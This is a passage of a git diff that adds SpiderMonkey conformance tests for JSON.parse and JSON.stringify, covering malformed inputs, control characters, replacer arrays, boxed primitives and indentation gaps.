+testJSON('["line\nbreak"]', true);
+testJSON('["line\r\nbreak"]', true);
+testJSON('["line\\\rbreak"]', true);
+testJSON('["line\\\nbreak"]', true);
+testJSON('["line\\\r\nbreak"]', true);
+testJSON('[0e]', true);
+testJSON('[0e+]', true);
+testJSON('[0e+-1]', true);
+testJSON('{"Comma instead of closing brace": true,', true);
+testJSON('["mismatch"}', true);
+testJSON('0{', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse-syntax-errors-03.js b/js/src/tests/ecma_5/JSON/parse-syntax-errors-03.js
new file mode 100644
index 000000000..5cdf585a4
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse-syntax-errors-03.js
@@ -0,0 +1,55 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('[', true);
+testJSON('[1', true);
+testJSON('[1,]', true);
+testJSON('[1,{', true);
+testJSON('[1,}', true);
+testJSON('[1,{]', true);
+testJSON('[1,}]', true);
+testJSON('[1,{"', true);
+testJSON('[1,}"', true);
+testJSON('[1,{"\\', true);
+testJSON('[1,}"\\', true);
+testJSON('[1,"', true);
+testJSON('[1,"\\', true);
+
+testJSON('{', true);
+testJSON('{1', true);
+testJSON('{,', true);
+testJSON('{"', true);
+testJSON('{"\\', true);
+testJSON('{"\\u', true);
+testJSON('{"\\uG', true);
+testJSON('{"\\u0', true);
+testJSON('{"\\u01', true);
+testJSON('{"\\u012', true);
+testJSON('{"\\u0123', true);
+testJSON('{"\\u0123"', true);
+testJSON('{"a"', true);
+testJSON('{"a"}', true);
+testJSON('{"a":', true);
+testJSON('{"a",}', true);
+testJSON('{"a":}', true);
+testJSON('{"a":,}', true);
+testJSON('{"a":5,}', true);
+testJSON('{"a":5,[', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"\\', true);
+testJSON("a[false ]".substring(1, 7) /* "[false" */, true);
+
+testJSON('this', true);
+
+testJSON('[1,{}]', false);
+testJSON('{}', false);
+testJSON('{"a":5}', false);
+testJSON('{"\\u0123":5}', false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/parse.js b/js/src/tests/ecma_5/JSON/parse.js
new file mode 100644
index 000000000..ff9dc51a7
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/parse.js
@@ -0,0 +1,175 @@
+function assertIsObject(x)
+{
+ assertEq(typeof x, "object");
+ assertEq(x instanceof Object, true);
+}
+
+function assertIsArray(x)
+{
+ assertIsObject(x);
+ assertEq(Array.isArray(x), true);
+ assertEq(Object.getPrototypeOf(x), Array.prototype);
+ assertEq(x instanceof Array, true);
+ assertEq(x.constructor, Array);
+}
+
+var x;
+var props;
+
+// empty object
+x = JSON.parse("{}");
+assertIsObject(x);
+assertEq(Object.getOwnPropertyNames(x).length, 0);
+
+// empty array
+x = JSON.parse("[]");
+assertIsArray(x);
+assertEq(x.length, 0);
+
+// one element array
+x = JSON.parse("[[]]");
+assertIsArray(x);
+assertEq(x.length, 1);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+
+// multiple arrays
+x = JSON.parse("[[],[],[]]");
+assertIsArray(x);
+assertEq(x.length, 3);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+assertIsArray(x[1]);
+assertEq(x[1].length, 0);
+assertIsArray(x[2]);
+assertEq(x[2].length, 0);
+
+// array key/value
+x = JSON.parse('{"foo":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+
+x = JSON.parse('{"foo":[], "bar":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+assertIsArray(x.bar);
+assertEq(x.bar.length, 0);
+
+// nesting
+x = JSON.parse('{"foo":[{}]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 1);
+assertIsObject(x.foo[0]);
+assertEq(Object.getOwnPropertyNames(x.foo[0]).length, 0);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":{}}]}]}');
+assertIsObject(x.foo[0].foo[0].foo);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":[]}]}]}');
+assertIsArray(x.foo[0].foo[0].foo);
+
+// strings
+x = JSON.parse('{"foo":"bar"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq(x.foo, "bar");
+
+x = JSON.parse('["foo", "bar", "baz"]');
+assertIsArray(x);
+assertEq(x.length, 3);
+assertEq(x[0], "foo");
+assertEq(x[1], "bar");
+assertEq(x[2], "baz");
+
+// numbers
+x = JSON.parse('{"foo":5.5, "bar":5}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertEq(x.foo, 5.5);
+assertEq(x.bar, 5);
+
+// keywords
+x = JSON.parse('{"foo": true, "bar":false, "baz":null}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 3);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(x.foo, true);
+assertEq(x.bar, false);
+assertEq(x.baz, null);
+
+// short escapes
+x = JSON.parse('{"foo": "\\"", "bar":"\\\\", "baz":"\\b","qux":"\\f", "quux":"\\n", "quuux":"\\r","quuuux":"\\t"}');
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 7);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(props[3], "quuuux");
+assertEq(props[4], "quuux");
+assertEq(props[5], "quux");
+assertEq(props[6], "qux");
+assertEq(x.foo, '"');
+assertEq(x.bar, '\\');
+assertEq(x.baz, '\b');
+assertEq(x.qux, '\f');
+assertEq(x.quux, "\n");
+assertEq(x.quuux, "\r");
+assertEq(x.quuuux, "\t");
+
+// unicode escape
+x = JSON.parse('{"foo":"hmm\\u006dmm"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq("hmm\u006dmm", x.foo);
+
+x = JSON.parse('{"hmm\\u006dmm":"foo"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "hmmmmm");
+assertEq(x.hmm\u006dmm, "foo");
+
+// miscellaneous
+x = JSON.parse('{"JSON Test Pattern pass3": {"The outermost value": "must be an object or array.","In this test": "It is an object." }}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "JSON Test Pattern pass3");
+assertIsObject(x["JSON Test Pattern pass3"]);
+props = Object.getOwnPropertyNames(x["JSON Test Pattern pass3"]).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "In this test");
+assertEq(props[1], "The outermost value");
+assertEq(x["JSON Test Pattern pass3"]["The outermost value"],
+ "must be an object or array.");
+assertEq(x["JSON Test Pattern pass3"]["In this test"], "It is an object.");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/shell.js b/js/src/tests/ecma_5/JSON/shell.js
new file mode 100644
index 000000000..ac2c69844
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/shell.js
@@ -0,0 +1,112 @@
+gTestsubsuite='JSON';
+
+function testJSON(str, expectSyntaxError)
+{
+ // Leading and trailing whitespace never affect parsing, so test the string
+ // multiple times with and without whitespace around it as it's easy and can
+ // potentially detect bugs.
+
+ // Try the provided string
+ try
+ {
+ JSON.parse(str);
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with trailing whitespace
+ try
+ {
+ JSON.parse(str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with leading whitespace
+ try
+ {
+ JSON.parse(" " + str);
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with whitespace surrounding it
+ try
+ {
+ JSON.parse(" " + str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+}
diff --git a/js/src/tests/ecma_5/JSON/small-codepoints.js b/js/src/tests/ecma_5/JSON/small-codepoints.js
new file mode 100644
index 000000000..6afa5f8ce
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/small-codepoints.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'small-codepoints.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 554079;
+var summary = 'JSON.parse should reject U+0000 through U+001F';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var i = 0; i <= 0x1F; i++)
+ testJSON('["a' + String.fromCharCode(i) + 'c"]', true);
diff --git a/js/src/tests/ecma_5/JSON/stringify-boxed-primitives.js b/js/src/tests/ecma_5/JSON/stringify-boxed-primitives.js
new file mode 100644
index 000000000..0769c2ec6
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-boxed-primitives.js
@@ -0,0 +1,127 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-boxed-primitives.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function redefine(obj, prop, fun)
+{
+ var desc =
+ { value: fun, writable: true, configurable: true, enumerable: false };
+ Object.defineProperty(obj, prop, desc);
+}
+
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+assertEq(JSON.stringify(new Number(5)), "5");
+
+assertEq(JSON.stringify(new String("foopy")), '"foopy"');
+
+
+var numToString = Number.prototype.toString;
+var numValueOf = Number.prototype.valueOf;
+var objToString = Object.prototype.toString;
+var objValueOf = Object.prototype.valueOf;
+var boolToString = Boolean.prototype.toString;
+var boolValueOf = Boolean.prototype.valueOf;
+
+redefine(Boolean.prototype, "toString", function() { return 17; });
+assertEq(JSON.stringify(new Boolean(false)), "false")
+delete Boolean.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Boolean.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+
+redefine(Boolean.prototype, "toString", boolToString);
+redefine(Boolean.prototype, "valueOf", boolValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+redefine(Number.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new Number(5)), "5");
+redefine(Number.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.toString;
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.valueOf;
+assertEq(JSON.stringify(new Number(5)), "null"); // isNaN(Number("[object Number]"))
+delete Object.prototype.toString;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+
+
+redefine(Number.prototype, "toString", numToString);
+redefine(Number.prototype, "valueOf", numValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+
+redefine(String.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new String(5)), '"5"');
+redefine(String.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new String(5)), '"42"');
+delete String.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"[object String]"');
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"17"');
+delete String.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/JSON/stringify-call-replacer-once.js b/js/src/tests/ecma_5/JSON/stringify-call-replacer-once.js
new file mode 100644
index 000000000..34e549b6e
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-call-replacer-once.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-replacer-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Call replacer function exactly once per value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var factor = 1;
+function replacer(k, v)
+{
+ if (k === "")
+ return v;
+
+ return v * ++factor;
+}
+
+var obj = { a: 1, b: 2, c: 3 };
+
+assertEq(JSON.stringify(obj, replacer), '{"a":2,"b":6,"c":12}');
+assertEq(factor, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-call-toJSON-once.js b/js/src/tests/ecma_5/JSON/stringify-call-toJSON-once.js
new file mode 100644
index 000000000..23917975d
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-call-toJSON-once.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-toJSON-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function()
+ {
+ return { toJSON: function() { return 17; } };
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-dropping-elements.js b/js/src/tests/ecma_5/JSON/stringify-dropping-elements.js
new file mode 100644
index 000000000..58838e10d
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-dropping-elements.js
@@ -0,0 +1,20 @@
+assertEq(JSON.stringify({foo: 123}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}, baz: 123}),
+ '{"foo":123,"baz":123}');
+
+assertEq(JSON.stringify([123]),
+ '[123]');
+assertEq(JSON.stringify([123, function () {}]),
+ '[123,null]');
+assertEq(JSON.stringify([123, function () {}, 456]),
+ '[123,null,456]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-gap.js b/js/src/tests/ecma_5/JSON/stringify-gap.js
new file mode 100644
index 000000000..8480b4b3e
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-gap.js
@@ -0,0 +1,61 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-gap.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "JSON.stringify(_1, _2, numberGreaterThanOne) produces wrong output";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var LF = "\n";
+var GAP = " ";
+
+var obj = { a: { b: [1, 2], c: { d: 3, e: 4 }, f: [], g: {}, h: [5], i: { j: 6 } } };
+
+var expected =
+ '{\n' +
+ ' "a": {\n' +
+ ' "b": [\n' +
+ ' 1,\n' +
+ ' 2\n' +
+ ' ],\n' +
+ ' "c": {\n' +
+ ' "d": 3,\n' +
+ ' "e": 4\n' +
+ ' },\n' +
+ ' "f": [],\n' +
+ ' "g": {},\n' +
+ ' "h": [\n' +
+ ' 5\n' +
+ ' ],\n' +
+ ' "i": {\n' +
+ ' "j": 6\n' +
+ ' }\n' +
+ ' }\n' +
+ '}';
+
+assertEq(JSON.stringify(obj, null, 3), expected);
+assertEq(JSON.stringify(obj, null, " "), expected);
+
+obj = [1, 2, 3];
+
+String.prototype.toString = function() { return "--"; };
+
+assertEq(JSON.stringify(obj, null, new String(" ")), "[\n--1,\n--2,\n--3\n]");
+
+Number.prototype.valueOf = function() { return 0; };
+
+assertEq(JSON.stringify(obj, null, new Number(3)), "[1,2,3]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/JSON/stringify-ignore-noncallable-toJSON.js b/js/src/tests/ecma_5/JSON/stringify-ignore-noncallable-toJSON.js
new file mode 100644
index 000000000..e4ce0ce94
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-ignore-noncallable-toJSON.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-ignore-noncallable-toJSON.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "If the toJSON property isn't callable, don't try to call it";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: { toJSON: null },
+ m: { toJSON: {} }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{"toJSON":null},"m":{"toJSON":{}}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-large-replacer-array.js b/js/src/tests/ecma_5/JSON/stringify-large-replacer-array.js
new file mode 100644
index 000000000..28180b4bf
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-large-replacer-array.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-large-replacer-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 816033;
+var summary = "JSON.stringify with a large replacer array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [];
+for (var i = 0; i < 4096; i++)
+ replacer.push(i);
+
+assertEq(JSON.stringify({ "foopy": "FAIL", "4093": 17 }, replacer), '{"4093":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-missing-arguments.js b/js/src/tests/ecma_5/JSON/stringify-missing-arguments.js
new file mode 100644
index 000000000..18ca60835
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-missing-arguments.js
@@ -0,0 +1,22 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-missing-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "JSON.stringify with no arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify(), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/JSON/stringify-nonarray-noncallable-replacer.js b/js/src/tests/ecma_5/JSON/stringify-nonarray-noncallable-replacer.js
new file mode 100644
index 000000000..440fbc0aa
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-nonarray-noncallable-replacer.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-nonarray-noncallable-replacer.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653782;
+var summary =
+ "Treat non-array, non-callable replacers as if none had been specified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { p: 2 };
+var str = '{"p":2}';
+
+assertEq(JSON.stringify(obj), str);
+assertEq(JSON.stringify(obj, ["p"]), str);
+assertEq(JSON.stringify(obj, null), str);
+assertEq(JSON.stringify(obj, undefined), str);
+assertEq(JSON.stringify(obj, 2), str);
+assertEq(JSON.stringify(obj, Math.PI), str);
+assertEq(JSON.stringify(obj, NaN), str);
+assertEq(JSON.stringify(obj, true), str);
+assertEq(JSON.stringify(obj, false), str);
+assertEq(JSON.stringify(obj, Infinity), str);
+assertEq(JSON.stringify(obj, "foopy"), str);
+assertEq(JSON.stringify(obj, {}), str);
+assertEq(JSON.stringify(obj, /abcd/), str);
+assertEq(JSON.stringify(obj, new Boolean(true)), str);
+assertEq(JSON.stringify(obj, new Number(42)), str);
+assertEq(JSON.stringify(obj, new String("aequorin")), str);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-primitives.js b/js/src/tests/ecma_5/JSON/stringify-primitives.js
new file mode 100644
index 000000000..3f48638b8
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-primitives.js
@@ -0,0 +1,39 @@
+// sanity
+var x = JSON.stringify({});
+assertEq(x, "{}");
+
+// booleans and null
+x = JSON.stringify(true);
+assertEq(x, "true");
+
+x = JSON.stringify(false);
+assertEq(x, "false");
+
+x = JSON.stringify(new Boolean(false));
+assertEq(x, "false");
+
+x = JSON.stringify(null);
+assertEq(x, "null");
+
+x = JSON.stringify(1234);
+assertEq(x, "1234");
+
+x = JSON.stringify(new Number(1234));
+assertEq(x, "1234");
+
+x = JSON.stringify("asdf");
+assertEq(x, '"asdf"');
+
+x = JSON.stringify(new String("asdf"));
+assertEq(x, '"asdf"');
+
+assertEq(JSON.stringify(undefined), undefined);
+assertEq(JSON.stringify(function(){}), undefined);
+assertEq(JSON.stringify(JSON.stringify), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-boxed-elements.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-boxed-elements.js
new file mode 100644
index 000000000..561f7009c
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-boxed-elements.js
@@ -0,0 +1,60 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-boxed-elements.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "Boxed-string/number objects in replacer arrays";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var S = new String(3);
+var N = new Number(4);
+
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return 3; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"3":3}');
+
+String.prototype.toString = function() { return 4; };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"4":4}');
+
+Number.prototype.toString = function() { return new String(42); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = function() { return new Number(17); };
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [N]),
+ '{"4":4}');
+
+String.prototype.toString = null;
+assertEq(JSON.stringify({ 3: 3, 4: 4 }, [S]),
+ '{"3":3}');
+
+Number.prototype.valueOf = function() { return 17; };
+assertEq(JSON.stringify({ 4: 4, 17: 17 }, [N]),
+ '{"17":17}');
+
+String.prototype.valueOf = function() { return 42; };
+assertEq(JSON.stringify({ 3: 3, 42: 42 }, [S]),
+ '{"42":42}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/JSON/stringify-replacer-array-duplicated-element.js b/js/src/tests/ecma_5/JSON/stringify-replacer-array-duplicated-element.js
new file mode 100644
index 000000000..69192e6ca
--- /dev/null
+++ b/js/src/tests/ecma_5/JSON/stringify-replacer-array-duplicated-element.js
@@ -0,0 +1,69 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-replacer-array-hijinks.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary =
+ "Better/more correct handling for replacer arrays with getter array index " +
+ "properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var bigOdd = Math.pow(2, 50) + 1;
+
+function two()
+{
+ return Math.random() < 0.5 ? 2 : "2";
+}
+
+assertEq(JSON.stringify({ 1: 1 }, [1, 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", bigOdd % two()]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), 1]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), "1"]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), bigOdd % two()]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [1, new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, ["1", new String(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new Number(1)]), '{"1":1}');
+
+assertEq(JSON.stringify({ 1: 1 }, [bigOdd % two(), new String(1)]), '{"1":1}');
+
+
+assertEq(JSON.stringify({ 1: 1 }, [new String(1), new String(1)]), '{"1":1}');
+
